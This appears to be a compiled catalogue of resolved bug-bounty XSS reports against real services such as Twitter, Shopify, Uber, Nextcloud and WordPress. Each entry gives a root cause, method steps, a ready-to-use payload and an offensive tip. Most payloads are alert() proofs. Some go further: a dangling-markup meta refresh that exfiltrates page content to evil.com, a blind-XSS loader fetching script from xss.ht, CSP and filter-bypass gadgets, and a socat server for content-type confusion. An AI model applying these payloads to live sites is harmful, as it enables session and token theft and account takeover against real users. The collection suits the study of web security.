https://www.uber.com/?kxsrc=https%3A//beacon.krxd.net/optout_check%3Fcallback%3Dalert%28/XSSED/.source%29
Insight — Params that load or proxy third-party scripts are XSS sinks; abuse a JSONP callback on the loaded host to run JS without ever injecting HTML into the target.
Real-world example
Stored XSS breaking out of <title> context in admin field
◆ Info
Specimen #3176981 · mainwp · USD 50 · 56 votes · resolved
Program mainwpSurface web
Root cause
A client contact-name field is reflected inside a <title> element in the admin detail page; closing the title with </TITLE> lets an injected <script> execute when an admin views the record.
Method
- Edit a client/contact and set the name field to the title-breakout payload
- Save
- Reload the client detail page (or have an admin view it)
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
Insight — Values echoed inside <title>, <textarea>, <style>, <noscript> or comments need an explicit closing tag to break out; test </TITLE>/</TEXTAREA> prefixes when a plain <script> is silently swallowed.
Real-world example
CSP bypass via whitelisted JSONP endpoint to fire reflected XSS
◆ Info
Specimen #153666 · x · awarded · 51 votes · resolved
Program xSurface webChain reflected HTML injection + CSP-whitelisted JSONP gadget ->
Root cause
A reflected XSS on careers.twitter.com is blocked by CSP, but analytics.twitter.com (a CSP-whitelisted host) exposes a JSONP endpoint whose callback param runs arbitrary JS, satisfying script-src.
Method
- Find reflected injection point that can insert a <script src>
- Point src at a CSP-whitelisted JSONP endpoint
- Pass your code as the JSONP callback (tpm_cb)
https://careers.twitter.com/en/jobs-search.html?location=1%22%3E%3Cscript%20src=//analytics.twitter.com/tpm?tpm_cb=alert%28document.domain%29%3E//
Insight — When CSP blocks inline script, look for a JSONP/callback endpoint on any script-src-whitelisted host; its callback param is an arbitrary-JS gadget that upgrades an otherwise-dead reflected injection into working XSS.
Real-world example
DOM XSS via attacker-controlled app name into jQuery $() sink
◆ Info
Specimen #119471 · x · awarded · 50 votes · resolved
Program xSurface web
Root cause
TweetDeck's followSourceLink handler passes the tweet's source (client app name) into jQuery $(...) which parses HTML; the app name is attacker-controlled, so $() executes injected markup.
Method
- Register a Twitter app whose NAME is an XSS payload
- Post a tweet from that app so the source shows your app name
- Victim expands the tweet and clicks the source link -> $(source) runs the payload
App name: <svg onload=alert(document.domain)> (flows into $(n.getMainTweet().source))
Insight — jQuery $() is an HTML-parsing sink; any attacker-controlled string ($(userInput)) is DOM XSS. Trace metadata fields (client/app name, referrer, title) into $()/.html()/.append() sinks.
Real-world example
Reflected XSS in URL path segment on mobile site (User-Agent differential)
◆ Info
Specimen #149855 · imgur · awarded · 50 votes · resolved
Program imgurSurface web
Root cause
m.imgur.com reflects the username path segment unescaped; the desktop UA 302-redirects away, so the bug only manifests when served the mobile site.
Method
- Insert payload into a username path segment on the mobile host
- Load it with a mobile User-Agent (desktop UA redirects to 404)
https://m.imgur.com/account/testcatplzignore%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain)%3E/messages
Insight — Test mobile hosts (m./mobile./touch.) separately with a mobile User-Agent; they often use different, less-hardened templates, and path segments (not just query params) can be reflected. UA-gated behavior hides bugs from default scans.
Real-world example
Same-Origin Method Execution (SOME) via Flash ExternalInterface -> RCE (WordPress plugin install)
◆ Info
Specimen #134738 · automattic · awarded · 49 votes · resolved
Program automatticSurface webChain GET-killer bypass -> SOME via ExternalInterface -> for
Root cause
plupload.flash.swf sanitizes flashVars strictly (only \w and dot allowed for the callback target) but still passes the attacker-chosen target to ExternalInterface.call. A word-char-only DOM path (opener.document...click) is enough to invoke arbitrary same-origin methods (SOME/reverse clickjacking); chained against the WP plugin-install page it clicks 'install' on a malicious plugin = RCE.
Method
- Open the SWF in a new tab with a target= flashVar pointing to a DOM method path (opener...firstElementChild.click)
- Navigate the opener window to the victim admin page (wp-admin/plugin-install.php)
- Once SWF and page share origin, the SWF invokes the callback which clicks the install button
<button onclick="fire()">Click</button>
<script>
function fire(){
open('javascript:setTimeout("location=\'http://TARGET/wp-includes/js/plupload/plupload.flash.swf?%#target%g=opener.document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click&uid%g=hello&\'",2000)');
setTimeout('location="http://TARGET/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550"')
}
</script>
Insight — When an XSS filter only allows [\w.] into a JS callback, XSS may be blocked but SOME is not: a word-char DOM traversal path ending in .click()/.submit() can drive same-origin state changes. Look for flash/postMessage/callback sinks that reflect a sanitized-but-attacker-chosen method name. (Flash-specific, now largely historical.)
Real-world example
Reflected XSS via HTTP parameter pollution + JS-comment reassembly
◆ Info
Specimen #150083 · irccloud · awarded · 48 votes · resolved
Program irccloudSurface webTag account-takeover
Root cause
A parameter reflected multiple times can be split across duplicate occurrences; JavaScript comment sequences in each copy comment out the filter-relevant fragments so the reassembled reflection forms valid injected script past the XSS filter.
Method
- Find a param that is reflected more than once when duplicated (HPP)
- Split the payload across the copies, using /* */ and // to neutralize the parts the filter would flag
- The concatenated reflections combine into executing script
www.irccloud.com/badges?hostname=hostname" type="text/javascript"> /*&hostname=*/alert('XSS'); //
Insight — When a WAF blocks a full payload in one param, try splitting it across duplicate params (HPP) and stitching with JS comments; the filter sees each half as benign but the page reassembles them.
Real-world example
Reflected/stored XSS via report custom-field
◆ Info
Specimen #692352 · x · awarded · 38 votes · resolved
Program xSurface web
Root cause
A user-supplied report dimension field (new-d1) is reflected into the page unsanitized; closing a preceding tag lets an injected img/onerror fire.
Method
- Create a custom report at /reports/custom/add/
- Put the payload in the new-d1 field (multipart form)
- Save/Run the report; onerror JS executes
</img><img src=x onerror=alert(document.domain)>
Insight — Reporting/analytics 'custom field' and label inputs are frequently rendered back into dashboards without encoding; test each dimension/name field with a tag-breakout img onerror.
Real-world example
Shopify widget: attacker-set 'stripping' flag disables sanitizer
◆ Info
Specimen #246794 · shopify · 1000 · 32 votes · resolved
Program shopifySurface web
Root cause
Client-side sanitizer stripHTMLForObject() sets obj.stripping=true as a recursion guard and skips objects where val.stripping is already set. An attacker-controlled JSON object can pre-set stripping:false to make the sanitizer skip it, leaving HTML unescaped -> DOM XSS. The shop param let any attacker domain serve the JSON.
Method
- Point widgets.shopifyapps.com ?shop= to an attacker domain serving product JSON + meta.json
- Include a nested object with "stripping": false alongside the HTML payload string
- Sanitizer skips the object -> payload rendered as HTML
{"product":{"variants":[{"stripping":false,"title":"<option/><select/><img src=xx: onerror=alert('bored-engineer')>"}, {}],"options":[],"images":[{}],"image":{}}}
Insight — Sanitizers that use an in-band object property (like a 'stripping'/'sanitized' flag) as their recursion/idempotency guard can be bypassed by attacker data that pre-sets that flag. Look for such guard fields in client-side escaping helpers.
Real-world example
Stored XSS via data:text/html URI in an href (utf-7 base64)
◆ Info
Specimen #1398285 · judgeme · 250 · 25 votes · resolved
Program judgemeSurface web
Root cause
A product/review description permits an <a href> whose value is a data:text/html;base64 URI; clicking it navigates to an attacker-controlled HTML document that runs script in the app context.
Method
- Add a recommendation/review with a product description
- Insert an anchor whose href is a base64 data:text/html URI decoding to <script>
- When a viewer clicks the link the data URI document executes
<a href="data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=">Click Here</a>
Insight — When markup filters allow <a href> but block script tags, smuggle execution through a data:text/html;base64 URI; the utf-7 charset trick also helps evade content-type/encoding filters.
Real-world example
Stored XSS via attachment filename set through XMLRPC
◆ Info
Specimen #139245 · automattic · awarded · 25 votes · resolved
Program automatticSurface webChain low-priv author -> stored XSS in admin Media viewTag file-upload
Root cause
WordPress renders attachment filenames without HTML-escaping in the media list table and attachment page; wp.newPost over XMLRPC lets a low-privilege user set an arbitrary filename containing HTML, firing when an admin opens the Media library.
Method
- Call wp.newPost via XMLRPC with a file field containing an HTML/img-onerror payload as the filename
- Publish it as a post_type=attachment
- Admin views Dashboard > Media (list mode) and the script executes
<member><name>file</name><value>ccc'>test<img src=x onerror=alert('xss') onload=alert('xss')></value></member>
curl 'https://TARGET/xmlrpc.php' --data-binary "@xss.xml" -H 'Content-type: application/xml'
Insight — Filenames are user-controlled through upload/XMLRPC APIs and are frequently echoed unescaped in admin file-manager UIs; set a malicious filename to land stored XSS in an admin's session.
Real-world example
Stored XSS via directory name in gallery share popup (CVE-2016-7419)
◆ Info
Specimen #145355 · nextcloud · awarded · 24 votes · resolved
Program nextcloudSurface web
Root cause
After a Gallery-app migration to a new sharing endpoint, a parameter changed from integer to string and was no longer sanitized; a folder named with an HTML payload executes when a recipient opens the Share popup in Gallery view.
Method
- Create a folder whose name is an img/onerror payload
- Share it with the victim
- Victim opens the folder in Gallery view and clicks the Share icon -> script fires
<img src=x onerror=alert(1)>
Insight — Endpoint/type migrations (int->string, old->new API) reintroduce XSS in previously-safe fields; retest resource names rendered in share/dialog widgets after refactors. Note CSP mitigates in modern browsers.
Real-world example
Stored XSS in author name via auto-escaping gap in heading
◆ Info
Specimen #148741 · paragonie · awarded · 24 votes · resolved
Program paragonieSurface web
Root cause
The author name is properly escaped in the form input value but echoed unescaped inside the page <h2> heading of the author-edit view, so a script in the name executes when another user opens the edit link.
Method
- Register and create a new author named <script>alert(1)</script>
- Send the author edit link to a higher-privilege user (e.g. captain)
- On open, the unescaped <h2> heading executes the script
<script>alert(1)</script>
Insight — Relying on template auto-escaping fails wherever a value is emitted outside the auto-escaped path (here a heading vs the input value); audit every sink for the same variable, and escape manually where auto-escaping isn't applied.
Real-world example
XSS via unsanitized oauth_callback on OAuth authorize endpoint
◆ Info
Specimen #87040 · x · awarded · 23 votes · resolved
Program xSurface webTag oauth
Root cause
The OAuth request-token flow lets the client set oauth_callback; the authorize/authenticate redirection page reflects that value without sanitization, so a crafted callback injects HTML/JS on twitter.com and api.twitter.com.
Method
- Obtain a request token from oauth/request_token with oauth_callback containing the payload
- Send the victim to the authorize/authenticate page with that token
- The callback value is reflected and executes on the OAuth page
oauth_callback=javascript%3A%2F%2F"><script>alert(document.domain)</script>
Insight — OAuth callback/redirect params (oauth_callback, redirect_uri, state) are reflected on authorize pages and are a recurring XSS + open-redirect sink. Always fuzz them; the javascript:// prefix keeps the value a 'valid' URL while breaking out with "><script>.
Real-world example
Dangling-markup data theft via unescaped single quote
◆ Info
Specimen #110578 · security · awarded · 21 votes · resolved
Program securitySurface web
Root cause
Single quotes were not HTML-encoded in user/app-supplied text; an injected meta-refresh or anchor whose attribute value opens with a single quote swallows the following page content (including tokens) up to the next quote and exfiltrates it via navigation, which CSP does not restrict.
Method
- Find a spot where markup/attribute injection is possible and unescaped ' exists later in the DOM
- Inject a meta refresh (or anchor href) whose URL attribute value is opened with a single quote and points at an attacker logger
- Browser treats everything until the next ' as the attribute value and sends it as a GET parameter
<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=
Insight — Dangling-markup injection exfiltrates secrets (CSRF tokens, internal replies) even under a strict CSP because navigation is not covered by CSP; unescaped ' or double-quote plus a later matching quote is enough. Always encode both quote types.
Real-world example
javascript: URI injected into redirect/next link parameter
◆ Info
Specimen #117068 · uber · awarded · 21 votes · resolved
Program uberSurface webTag account-takeover
Root cause
A redirect/return-link parameter is placed into an anchor href (or a client-side location assignment) without scheme validation, so a javascript: URI executes when the user clicks the resulting link.
Method
- Find a param that becomes a clickable link / 'return to app' href (target=, next=, home=, redirect=)
- Set it to a javascript: URI
- Load the page and click the generated link
http://love.uber.com/australia/?icl_action=reminder_popup&target=javascript%3aalert%28%2fhello+world%2f%29%3b%2f%2f
Insight — Any parameter that ends up as an href/redirect target is a javascript:-URI XSS sink. Test next=/redirect=/return=/home=/target= with javascript:alert(1)//. Fragment-based routers (#login?next=) are equally vulnerable when the SPA assigns location from the hash.
Real-world example
Error page (HTTP 500) reflects input with text/html content-type
◆ Info
Specimen #159878 · snapchat · 400 · 21 votes · resolved
Program snapchatSurface webTag account-takeover
Root cause
An image/render endpoint echoes an unsanitized property value into a 500 error body served as text/html, so injecting HTML into a data field turns the crash page into stored XSS.
Method
- Submit an object/property value containing an HTML payload (e.g. avatar char_data JSON)
- Trigger the render/processing that errors out
- Open the resulting error URL (returned with Content-Type: text/html)
{"pd2":{"jaw":"<svg onload=alert(document.domain)>"}} -> served back in the 500 body of https://render.bitstrips.com/render/***/*.png
Insight — Deliberately break a processing endpoint and inspect the error page's Content-Type. When errors reflect your input as text/html (not application/json or a static template), the crash page itself is an XSS sink.
Real-world example
Newline inside javascript: URI in form action defeats scheme filter
◆ Info
Specimen #300270 · automattic · awarded · 21 votes · resolved
Program automatticSurface web
Root cause
A stored field is rendered into a form action; browsers strip control chars/newlines from URI schemes before parsing, so 'javasc\nript:' survives a naive 'javascript:' blacklist yet still executes.
Method
- Find a field reflected into an href/action/src attribute
- Insert a newline (or tab) splitting the javascript: token
- Submit a form with a button; XSS fires on submit
<form action="javasc
ript:alert(document.domain)"><button>Click</button></form>
Insight — To bypass 'javascript:' substring filters, break the scheme with whitespace/control chars: javascript:, java\tscript:, java\nscript:. Browsers strip them before URL parsing. Escalate exfil with eval(String.fromCharCode(...)) reading document DOM.
Real-world example
HTML5 named-entity bypass of javascript: scheme filter (xss_clean regex flaw)
◆ Info
Specimen #171670 · codeigniter · none · 20 votes · resolved
Program codeigniterSurface web
Root cause
CodeIgniter's xss_clean() entity-decoding regex /&[a-z]{2,}(?![a-z;])/i deliberately excludes entities followed by a semicolon, so HTML5 named entities like 
 and : pass through undecoded and reconstitute javascript: inside an allowed anchor href.
Method
- Find input filtered by a server-side HTML sanitizer that permits <a href>
- Encode the javascript: scheme using HTML5 named entities
- Submit; the entity-encoded href renders and executes on click
<a href="javascript
:eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41));">XSS Link</a>
Insight — HTML sanitizers that whitelist tags but string-match 'javascript:' can be defeated with HTML5 named entities (: 
 	 ( ) .) because the browser decodes them but the filter regex doesn't. Root cause here is a regex that skips entities ending in ';'.
Real-world example
Markdown link-title parser allows attribute injection into anchor element
◆ Info
Specimen #758002 · phabricator · awarded · 20 votes · resolved
Program phabricatorSurface web
Root cause
The Markdown/Remarkup URL parser lets the link-title/query portion inject additional attributes into the generated <a> element ([[/attr=value]] syntax), enabling event handlers, target/rel overrides and style-based defacement.
Method
- Add a comment with a Markdown link whose query embeds [[/attr=...]] attribute payloads
- Rendered anchor gains attacker-controlled attributes (style, target, onclick)
- Victim clicks / views to trigger deface, tabnabbing, or (on CSP-less browsers) XSS
deface: [ ](https://a.de?p=[[/data-x=. style=background-color:#000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
tabnabbing: [ ](https://sectex.dev/files/tabnabbing.html?[[/target=_blank `.`]])
xss (IE11/old Safari): [ ](http://a?p=[[/onclick=alert(0) .]])
Insight — When a Markdown renderer builds <a> tags, test whether the URL/title can inject extra attributes. Even under a CSP that blocks inline JS you get full-page defacement (fixed-position styled div), rel=noreferrer removal for tabnabbing, and onclick XSS on browsers without CSP.
Real-world example
CSP not applied to non-HTML responses → SVG XSS
◆ Info
Specimen #1327196 · rails · none · 20 votes · resolved
Program railsSurface webTag file-upload
Root cause
Rails' CSP middleware only sets the header for Content-Type text/html, so an inline-served image/svg+xml executes its embedded JS with no CSP protection.
Method
- Upload/serve a malicious SVG containing <script>
- Deliver it via send_file/send_data with type image/svg+xml and disposition: 'inline'
- Send the victim a link; SVG JS runs in the app origin with no CSP
send_file '/path/malicious.svg', type: 'image/svg+xml', disposition: 'inline'
(malicious.svg contains <svg><script>alert(document.domain)</script></svg>)
Insight — Framework CSP middleware often keys on text/html; any endpoint that serves attacker-controlled SVG/XML inline bypasses CSP. Force attachment disposition or an allowlist of inline content-types to fix. CVE-2022-22577.
Real-world example
Dangling-markup HTML injection in comments
◆ Info
Specimen #2058556 · nextcloud · awarded · 20 votes · resolved
Program nextcloudSurface web
Root cause
Comment field allows raw HTML; even without script execution, an unbalanced <base target=" plus an <a>/<font> lure enables dangling-markup data exfiltration and clickable phishing.
Method
- Post a comment containing an <a> lure and an unterminated <base target=" attribute
- Trailing page markup is captured by the dangling attribute / link target
<a href=http://COLLAB/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="
Insight — When script is filtered but raw HTML is allowed, use dangling markup (<base>, <img/src, unterminated attributes) to exfiltrate following DOM content or build convincing in-app phishing. CVE-2024-22213.
Real-world example
Stored XSS via unescaped display name in notifications/search
◆ Info
Specimen #87854 · vimeo · awarded · 19 votes · resolved
Program vimeoSurface web
Root cause
A user-controlled profile Name/Nickname is rendered without encoding when surfaced to OTHER users (follower notification header, search-author results), giving no-interaction cross-user stored XSS.
Method
- Set your profile Name to a script payload
- Follow the victim (Vimeo) or have them search your nickname (forum)
- Payload executes in the victim's session when the name is displayed
<script src=//COLLAB></script> (Vimeo Name)
<script>alert(0)</script> (forum nickname)
Insight — Profile display-name/nickname fields are prime stored-XSS sinks because they render inside other users' pages (notifications, mentions, search, author bylines). Enumerate every place your name is shown to others.
Real-world example
Reflected XSS via UTM marketing parameters
◆ Info
Specimen #104917 · instacart · awarded · 19 votes · resolved
Program instacartSurface web
Root cause
utm_source/utm_medium/utm_campaign values are reflected unescaped into the landing page.
Method
- Append XSS payloads to utm_* params on any landing/campaign URL
?utm_source=>"'><script>alert(1)</script>&utm_medium=>"'><script>alert(2)</script>&utm_campaign=>"'><script>alert(3)</script>
Insight — Analytics/UTM params are often echoed into inline JS or hidden fields by marketing tags — always fuzz utm_source/medium/campaign, gclid, fbclid on landing pages.
Real-world example
Open redirect → client-side template injection via attacker JSON
◆ Info
Specimen #143240 · mapbox · awarded · 19 votes · resolved
Program mapboxSurface webChain open redirect (redirect_uri) -> fetch attacker JSON (CORSTag oauthTag cors
Root cause
An oauth endpoint 302-redirects to a caller-supplied redirect_uri; the app fetches that URL's JSON and renders a property (authorize_url) unescaped into a client-side template's form action, so attacker-hosted JSON (served with permissive CORS) injects HTML/JS.
Method
- Host a JSON file whose authorize_url contains an XSS breakout, served with Access-Control-Allow-Origin for the target and ACAC true
- Trigger the flow with redirect_uri pointing at your file
- authorize_url is rendered into <form action=...> unescaped and executes
JSON: {"authorize_url":"'><script>alert(document.domain)</script>", "stage":"authorize", ...}
URL: /authorize/?redirect_uri=https://COLLAB/oauth.json
Insight — When a client fetches JSON from a user-influenced URL and templates fields into the DOM, an open redirect + CORS-permissive attacker response yields XSS; look for redirect_uri/next that feed subsequent fetch+render.
Real-world example
Markdown link-title parser HTML-attribute injection
◆ Info
Specimen #112935 · security · awarded · 18 votes · resolved
Program securitySurface web
Root cause
A markdown-to-HTML converter parses the link title by greedily matching the first quote to the last, mishandling embedded quotes, so an attacker embeds additional key="value" pairs that emit as extra attributes on the generated anchor tag.
Method
- Enter a markdown link with a title containing nested quotes and extra attribute pairs
- Converter emits the extra attributes verbatim on the <a> tag
- Escalate by injecting dangerous attributes (event handlers/ismap) toward mXSS
[test](http://example.com "test ismap="alert xss" yyy="test"")
-> <a title="'test" ismap="alert xss" yyy="test" ' href="http://example.com">test</a>
Insight — Quote-balancing bugs in markdown/BBCode title parsers let you inject arbitrary HTML attributes; probe titles/alt-text with nested quotes and attribute pairs, then push toward event-handler attributes for XSS.
Real-world example
Unauthenticated stored XSS via activity-log injection into admin dashboard
◆ Info
Specimen #127948 · uber · 5000 · 18 votes · resolved
Program uberSurface webChain unauth log injection -> stored XSS in admin dashboard -&g
Root cause
The WordPress Stream audit-log plugin logs a URL 'file' parameter (captured via a wp_redirect hook) without sanitization; the entry renders unescaped in the admin dashboard, so an unauthenticated attacker plants XSS that runs with admin privileges (→ plugin-editor PHP → RCE).
Method
- Trigger a WordPress redirect back to an attacker-controlled Referer containing plugin-editor.php?file=<script>
- Stream logs the unsanitized 'file' value
- Admin opens the Stream tab; script runs as admin and can write PHP via plugin editor
curl -v -H 'Referer: /hello?plugin-editor.php&file=aaa<script>alert("stored xss")</script>' --data 'post-password=foo' 'https://TARGET/wp-login.php?action=postpass'
Insight — Audit/activity-log and analytics dashboards are high-value stored-XSS sinks: attacker-controlled request data (Referer, URL params, user-agent) is logged and later rendered to admins. Unauth → admin XSS → CMS RCE via theme/plugin editor.
Real-world example
HTML injection into downloaded log via Host header + comment breakout
◆ Info
Specimen #146278 · nextcloud · awarded · 18 votes · resolved
Program nextcloudSurface web
Root cause
Attacker-controlled request data (Host header) is written into an admin-downloadable log that a browser renders as HTML; a comment-end token breaks out of the sanitizer's comment wrapper.
Method
- Send a request with a malicious Host header that gets logged as a warning
- Break out of the inserted HTML comment with -->
- Wait for an admin to download and open the log (Firefox/Windows renders it as HTML)
GET /nextcloud/index.php HTTP/1.1
Host: -->test"<img src=a onerror=alert('xss')>
Insight — Any attacker-influenced value that reaches a log later served/opened as HTML is an injection sink; if the app wraps content in an HTML comment, inject --> to escape it.
Real-world example
Blind stored XSS in admin registration-approval email (eval(atob) img onerror)
◆ Info
Specimen #382666 · rocket_chat · none · 18 votes · resolved
Program rocket_chatSurface webTag account-takeover
Root cause
User-supplied registration 'Reason' text is injected unescaped into the admin notification email body; when the admin opens it (here in an Android WebView mail client) the payload fires in a privileged context.
Method
- Register an account supplying a blind-XSS canary in the Reason/message field
- Payload uses > to break out then img onerror to eval a base64 loader
- Wait for admin approval-email view to fire the callback (xss.ht)
"><img src="x" id="<base64 of: var a=document.createElement('script');a.src='https://ID.xss.ht';document.body.appendChild(a);>" onerror="eval(atob(this.id))">
Insight — Registration/contact/support fields that email an admin are prime blind-XSS sinks; seed xss.ht canaries and stash the JS loader in an attribute decoded via eval(atob(this.id)) to dodge length/quote filters.
Real-world example
Stored XSS in list/recipe name with multi-context breakout
◆ Info
Specimen #157958 · instacart · awarded · 17 votes · resolved
Program instacartSurface web
Root cause
A user-named list is rendered into multiple HTML contexts (title, script) without escaping, so a payload that closes both a script and a title element executes.
Method
- Create a list and set its name to the breakout payload
- Open the list preview page
- Payload executes
"></script></title><script>alert(document.domain)</script>
Insight — When you don't know the exact reflection context, use a multi-context breakout string that closes script/title/attribute at once ("></script></title><script>...).
Real-world example
Stored XSS surfaced through search results
◆ Info
Specimen #300812 · automattic · awarded · 17 votes · resolved
Program automatticSurface web
Root cause
Data stored via one feature (ZIP code beside a school name) is rendered unescaped when it later appears in a search-results list, firing for anyone whose search matches the entry.
Method
- Store an img onerror payload in a field that feeds search results
- Choose a value matching a common search term to widen the trigger
- Victim searches, payload fires
"><img src=x onerror=alert(document.domain)>
Insight — Stored XSS doesn't need the victim to view your profile: sinks that surface in shared search/autocomplete lists trigger broadly; pick a payload keyed to a common query term to maximize hits.
Real-world example
Content-type confusion via duplicate Content-Type in image proxy
◆ Info
Specimen #1267677 · shopify · none · 16 votes · resolved
Program shopifySurface webTag cors
Root cause
An image proxy validates the upstream response's Content-Type but, when the origin returns two Content-Type headers (image/png and text/html), forwards attacker HTML under a trusted domain, enabling stored XSS, redirects, and fake login pages (and CSP bypass where *.trusted is whitelisted).
Method
- Point the proxy's url= param at a server you control.
- Return a non-RFC response with two Content-Type headers (image/png then text/html) using socat/netcat.
- Load the proxy URL in a browser -> your HTML/JS executes on the trusted proxy origin.
# serve a file with TWO Content-Type headers via socat
FILE=xss.jpg # contents: <script>alert(document.cookie)</script>
socat -v TCP-LISTEN:80,fork \
"SYSTEM:/bin/echo 'HTTP/1.1 200 OK';/bin/echo 'Content-Length: '\`wc -c<$FILE\`;/bin/echo 'Content-Type: image/png';/bin/echo 'Content-Type: text/html';/bin/echo;dd 2>/dev/null<$FILE"
# then browse https://oberlo-image-proxy.shopifycloud.com/?url=http://ATTACKER/xss.jpg
Insight — Image/URL proxies that only whitelist by Content-Type are bypassable with duplicate/ambiguous headers - test two Content-Type values, charset tricks, and 30x-then-html. Serving arbitrary HTML/JS from the proxy's origin yields XSS, open redirect, phishing, and CSP bypass on any site whitelisting that domain.
Real-world example
Stored XSS by splitting payload across two fields
◆ Info
Specimen #708123 · quantopian · USD 1925 · 16 votes · resolved
Program quantopianSurface web
Root cause
First-name and last-name fields are individually weakly validated but concatenated unescaped into a 'dataset owner' display, so a payload split across the two fields reassembles into a working script/tag.
Method
- Set first name to '<img src=x'
- Set last name to 'onerror=alert(1)>'
- Navigate to the page that renders 'owner' (first+last concatenated) to fire XSS
first_name = <img src=x
last_name = onerror=alert(1)>
// rendered together: <img src=x onerror=alert(1)>
Insight — When two user fields are validated separately but rendered joined, split a payload across them to defeat per-field filters; enterprise/multi-user contexts turn 'self-XSS' profile fields into stored XSS against other users.
Real-world example
Flash XSS via swfupload.swf buttonText, reload race to bypass click handler
◆ Info
Specimen #91421 · imgur · awarded · 16 votes · resolved
Program imgurSurface web
Root cause
swfupload.swf hosted on the main origin accepts a buttonText parameter that injects HTML (including anchors with javascript: hrefs) into the Flash button; the SWF's own MouseClick handler normally intercepts the click, but rapidly reloading the SWF from cache lets a user-click land on the injected HTML link.
Method
- Locate swfupload.swf on the main domain
- Craft URL with buttonText containing <a href='javascript:...'>
- Load it in an iframe and setInterval-reload it every ~300ms from cache
- When the user clicks during a reload window, the injected javascript: link fires in the main origin
https://imgur.com/include/flash/swfupload.swf?buttonDisabled=&buttonText=%3Ca%20href=%22javascript:alert(document.domain)%22%3ECLICKME%3C/a%3E&buttonImageURL=/&buttonTextStyle=a{color:%23ff00ff}&buttonAction=-120&buttonCursor=-2
Insight — Legacy same-origin SWFs (swfupload.swf, and other flashmediaelement/plupload files) with text/URL params are classic reflected-XSS gadgets; host them off-origin. The reload race is a general trick to beat a handler that consumes the first click.
Real-world example
Cookie-value reflected into inline JS (cookie-to-XSS)
◆ Info
Specimen #105419 · instacart · awarded · 16 votes · resolved
Program instacartSurface webChain cookie injection -> reflected into inline JS -> XSS
Root cause
The ahoy_visit/ahoy_visitor cookie values are reflected unescaped into an inline <script> block (analytics pageViewProps), so a controllable cookie value breaks out of the JS string context.
Method
- Send a request to /help/search with a crafted ahoy_visit cookie
- The value is echoed into inline JS: ahoy_visit_token:"<value>"
- Break out of the string/script with </script><script>
Cookie: ahoy_visit=c5ff00ff...</script ><script>alert(8)</script>
Insight — Cookies reflected into HTML/JS are XSS sinks; pair with any cookie-setting vector (subdomain cookie injection, CRLF, or a partner set-cookie) to make it deliverable. Grep responses for reflected cookie values in inline scripts.
Real-world example
javascript: URI in a redirect/URL parameter the app navigates to
◆ Info
Specimen #1058427 · imgur · awarded · 15 votes · resolved
Program imgurSurface webTag open-redirect
Root cause
A URL parameter (redirect/next/click URL) is taken from an API response and later used as a navigation target or href without scheme validation, so a javascript: URI executes.
Method
- Find a flow that carries a redirect_url/redirect/next param (intercept the API call)
- Replace the redirect value with a javascript: URI
- Open the resulting URL / trigger the navigation
https://TARGET/emerald/give-emerald?username=x&redirect=javascript:alert(document.cookie)
Insight — Whenever you see a param whose value is a URL the app will navigate to or place in an href, test javascript:alert(1). Comment/newline tricks (javascript://%0a%0dalert(1)) help when the scheme is naively string-checked.
Real-world example
Stored XSS via repo file rendered on wiki page (no CSP) -> API token theft
◆ Info
Specimen #136333 · gitlab · none · 14 votes · resolved
Program gitlabSurface webChain stored XSS -> read API token from page -> full accountTag account-takeover
Root cause
Files pushed to a repository are served/rendered as raw HTML on the wiki path; with no Content-Security-Policy, inline script in a committed .html file executes in the victim's authenticated context.
Method
- Create a public repo and push an index.html containing <script>
- Visit /<user>/<repo>/wikis/index.html
- The committed HTML/JS executes; steal the API token from the page/context
echo "<script>alert(document.cookie)</script>" > index.html
git add index.html && git commit -m x && git push
Insight — Any feature that renders user-supplied files (wiki, pages, attachments, markdown preview) as HTML on the app origin is stored XSS if CSP is absent. Check whether raw repo/uploaded files are served with text/html on the sensitive origin.
Real-world example
AngularJS client-side template injection in profile name
◆ Info
Specimen #141240 · drchrono · awarded · 14 votes · resolved
Program drchronoSurface web
Root cause
User-controlled fields (first/last name) are placed inside an AngularJS template and evaluated as expressions ([[ ]] interpolation), so an expression executes even without literal HTML tags.
Method
- Put [[5*5]] (or {{7*7}}) in a name/text field bound in an Angular template
- If the rendered output shows 25/49, the expression is evaluated
- Chain fields (first=[[5* , last=5]]) to bypass length limits and reach a sandbox-escape payload
[[5*5]]
first name: [[5* last name: 5]]
Insight — Test {{7*7}}/[[7*7]] in every reflected field: expression evaluation is code execution equivalent to XSS (AngularJS sandbox is not a security boundary). Concatenating two adjacent bound fields defeats per-field length limits.
Real-world example
Stored XSS in checkout via <html> tag bypassing HTML-tag filter
◆ Info
Specimen #189378 · shopify · awarded · 14 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The checkout name filter rejects HTML tags but whitelists/overlooks the <html> tag itself; the first name is later reflected inside the <title> of the thank-you page, so <html onmouseover=...> executes.
Method
- In checkout first-name enter a payload closing title/head then an <html> tag with an event handler
- Complete a $0 order
- Load the thank-you page (/.../checkouts/<id>/thank_you) on the store origin to trigger it
</title></head><html onmouseover=alert(document.domain)>
Insight — When a tag blacklist rejects <script>/<img> but says 'no HTML tags', probe unusual/structural tags (<html>, <body>, <base>, <template>, <math>) which filters often forget. Reflection inside <title> means you must break out of head first.
Real-world example
Stored XSS via product variant option rendered on a secondary page
◆ Info
Specimen #186462 · shopify · USD 500 · 13 votes · resolved
Program shopifySurface web
Root cause
User-controlled content stored in one context (product variant option name / account name) is rendered without encoding on a different, higher-trust page (Buy Button embed / partners dashboard).
Method
- Store an XSS payload in a variant option name (or account first/last name)
- Navigate to the secondary page that renders it (Buy Button email embed / partners confirm page)
- Payload executes there
"><img src=x onerror=alert(document.domain)>
Insight — Second-order stored XSS: the field is safe on the page you enter it but unescaped where it's re-displayed. Map every place a stored value is echoed (embeds, admin dashboards, emails, invoices) and test each rendering context separately.
Real-world example
Stored XSS via object data: URI base64 payload
◆ Info
Specimen #7876 · localize · none · 11 votes · resolved
Program localizeSurface webTag account-takeover
Root cause
A review/phrase message field stores and renders attacker markup, allowing an <object> element whose data: URI carries a base64-encoded HTML document that executes script.
